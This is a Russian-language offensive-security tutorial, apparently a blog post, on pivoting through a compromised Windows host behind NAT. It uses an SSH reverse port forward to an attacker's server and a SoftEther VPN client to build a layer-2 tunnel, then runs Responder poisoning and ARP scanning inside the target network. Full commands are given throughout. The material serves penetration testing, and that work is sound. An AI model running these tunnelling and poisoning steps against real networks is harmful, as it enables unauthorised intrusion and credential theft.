Pivoting
March 29, 2024

Witchhammer VIP: Обход NAT при пивотинге против Windows

NAT может создать проблемы для пентестера, когда он проводит пивотинг, особенно если мы говорим о скромпрометированных машинах на Windows. В этой статье я продолжу демонстрировать концепцию L2-туннелирования против скомпрометированных машин на Windows, но уже учитывая наличие NAT.

Caster - Witchhammer VIP

Genre: Offensive, Experimental
Subgenre: Pivoting
Label: Teletype
Release Date: 29 March 2024

Disclaimer

Статья носит ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование по контракту. Автор и редакция не несут ответственности за любой вред, причиненный использованием представленной информации. Распространение вредоносного ПО, нарушение работы систем и тайны переписки будет преследоваться по закону.

Автор данной статьи и ресурс Teletype не несут ответственности за любой причиненный вред с помощью данной статьи.

Intro

В контексте сценариев тестирования на проникновение может случиться так, что пентестер смог скомпрометировать некоторый хост на Windows, однако сам хост находится за NAT. И при этом у пентестера появляется потребность в проведении атак канального уровня, для проведения которых необходим L2-туннель. Однако в условиях где хост находится за NAT задача создания такого туннеля становится сложнее, однако эта ситуация имеет несколько вариантов решения.

Это вторая часть моей статьи Witchhammer, в которой я продемонстрировал метод L2-туннелирования против машин на Windows с целью проведения атак канального уровня. В этой же VIP-версии речь пойдет о том же самом, однако я разберу сценарий, в котором скомпрометированный хост находится за NAT.

SSH Remote Port Forward

Основная идея заключается в том, чтобы с помощью SSH Remote Port Forwarding пробросить порты TCP/443,TCP/992,TCP/5555в сторону системы атакующего, который в свою очередь будет использовать эти порты для подключения к SoftEther-серверу, находящемуся за NAT. Этот метод хорош тем, что SSH является легитимным ПО и не блокируется антивирусными программами. Однако есть и другие способы пробросить так порт, например с помощью chisel

По сути это сценарий, когда атакующий развивает вектор пост-эксплуатации из Интернета, получив доступ к скомпрометированному хосту. В контексте данного сценария я буду пробрасывать порты именно в сторону атакующей системы, однако существует практика, при которой пентестер подготавливает отдельный внешний SSH-сервер в сети Интернет, с помощью которого он и будет осуществлять подключения к SoftEther-серверу на скомпрометированном хосте. Разницы особой нет, однако вариант с внешним SSH-сервером является более удобным, если тестированием на проникновение занимается команда, участникам которой было бы удобно ходить через один SSH-сервер, вместо того чтобы каждый раз пробрасывать порт с скомпрометированной машины на каждый хост атакующего.

Scheme

В данном сценарии атакующий находится в Интернете, его хост имеет адрес 187.33.221.185, именно в его сторону будет проброс портов с помощью SSH. Предполагается что на скомпрометированном хосте уже активен SoftEther-сервер, настройку которого я полностью описал в первой версии Witchhammer

Перед пробросом портов необходимо настроить хост, на котором будет SSH-сервер (система атакующего или отдельный SSH-сервер), нужно просто разрешить параметры AllowTcpForwardingи GatewayPorts

/etc/ssh/sshd_config

AllowTcpForwarding yes
GatewayPorts yes

Затем с скомпрометированной машины с помощью sshнеобходимо пробросить порты TCP/443,TCP/992,TCP/5555в сторону атакующей машины в сети Интернет.

Локальные порты скомпрометированной машины:TCP/443,TCP/992,TCP/5555

Внешние порты для атакующей системы: TCP/4443,TCP/9992,TCP/5555

C:\witchhammer> ssh -R 4443:localhost:443 -R 9992:localhost:992 -R 5555:localhost:5555 caster@187.33.221.185

После чего на атакующем хосте будут доступны порты для подключения к SoftEther-серверу за NAT

Ports

Именно эти порты атакующий и будет использовать для дальнейшего подключения к SoftEther-серверу и создания L2-туннеля

Tunneling

После манипуляций с пробросом портов, атакующий может воспроизвести подключение к SoftEther-серверу

caster@kali:~$ sudo apt install build-essential
caster@kali:~$ wget https://www.softether-download.com/files/softether/v4.43-9799-beta-2023.08.31-tree/Linux/SoftEther_VPN_Client/64bit_-_Intel_x64_or_AMD64/softether-vpnclient-v4.43-9799-beta-2023.08.31-linux-x64-64bit.tar.gz
caster@kali:~$ gunzip softether-vpnclient-v4.43-9799-beta-2023.08.31-linux-x64-64bit.tar.gz
caster@kali:~$ tar xf softether-vpnclient-v4.43-9799-beta-2023.08.31-linux-x64-64bit.tar
caster@kali:~$ cd vpnclient
caster@kali:~/vpnclient$ make
caster@kali:~/vpnclient$ sudo ./vpnclient start
caster@kali:~/vpnclient$ sudo ./vpncmd

Все те же настройки, создание виртуального адаптера, указание адреса сервера и пароля учетной записи. Однако в данном случае в качестве сервера мы будем использовать 127.0.0.1:4443, так как мы пробросили порт TCP/443 с скомпрометированной машины на Windows в сторону хоста атакующего

VPN Client> NicCreate caster
VPN Client> AccountCreate Tunnel /SERVER:127.0.0.1:4443 /HUB:Witchhammer /USERNAME:caster /NICNAME:caster
VPN Client> AccountPassword Tunnel /PASSWORD:password /TYPE:standard
VPN Client> AccountConnect Tunnel
Состояние подключения со стороны хоста атакующего (SoftEther Client)

После чего атакующий получает доступ к целевой сети на уровне L2, где находится сам скомпрометированный хост. Так как у него появился виртуальный интерфейс vpn_caster,он должен получить на него адрес для работы с целевой сетью на канальном уровне

caster@kali:~$ sudo dhclient -v vpn_caster

Однако стоит помнить, что новая информация о шлюзе по умолчанию может прилететь через DHCP, и новый маршрут 0.0.0.0 может повлиять на сетевую связность в системе атакующего. Поэтому, если такой маршрут появится, его следует удалить.

caster@kali:~$ sudo route del default

В случае с моим сценарием, целевая сеть имеет адресацию 192.168.0.0/24, а на виртуальный интерфейс прилетел адрес 192.168.0.251/24

Proof of Concept

Фактически мы получаем возможность проведения атак канального уровня прямо из сети Интернет, благодаря построенному EtherIP-туннелю. Для доказательства работоспособности данного вектора я запущу Responder внутри этого туннеля

LLMNR/NBT-NS Poisoning (Responder)
ARP Scanning (netdiscover)

Outro

Примерно таким образом можно строить L2-туннели со скомпрометированной машиной Windows для проведения атак канального уровня, даже не смотря на то, что сам скомпрометированный хост находился за NAT.

На самом деле методы пивотинга с SoftEther достаточно шумные в эфире, множество DNS-запросов, keepalive-сообщений. Если использовать данный метод для мероприятий Red Team, то операторам придется позаботиться о снижении шума в эфире.